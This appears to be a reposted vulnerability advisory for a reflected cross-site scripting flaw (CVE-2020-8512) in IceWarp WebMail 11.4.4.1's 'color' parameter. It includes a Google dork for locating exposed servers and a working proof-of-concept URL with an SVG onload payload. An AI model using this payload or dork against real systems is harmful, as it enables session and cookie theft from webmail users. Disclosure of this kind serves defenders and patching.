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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Title: IceWarp WebMail 11.4.4.1 - Reflective Cross-Site Scripting
# Date: 2020-01-27
# Author: Lutfu Mert Ceylan
# Vendor Homepage: www.icewarp.com
# Tested on: Windows 10
# Versions: 11.4.4.1 and before
# Vulnerable Parameter: "color" (Get Method)
# Google Dork: inurl:/webmail/ intext:Powered by IceWarp Server
# CVE: CVE-2020-8512

# Notes:

# An attacker can use XSS (in color parameter IceWarp WebMail 11.4.4.1 and
# before)to send a malicious script to an unsuspecting Admins or users. The
# end admins or useras browser has no way to know that the script should not
# be trusted, and will execute the script. Because it thinks the script came
# from a trusted source, the malicious script can access any cookies, session
# tokens, or other sensitive information retained by the browser and used
# with that site. These scripts can even rewrite the content of the HTML
# page. Even an attacker can easily place users in social engineering through
# this vulnerability and create a fake field.

# PoC:

# Go to Sign-in page through this path: http://localhost/webmail/ or
http://localhost:32000/webmail/

# Add the "color" parameter to the URL and write malicious code, Example:
http://localhost/webmail/?color="><svg/onload=alert(1)>

# When the user goes to the URL, the malicious code is executed

Example Vulnerable URL: http://localhost/webmail/?color=
"><svg/onload=alert(1)>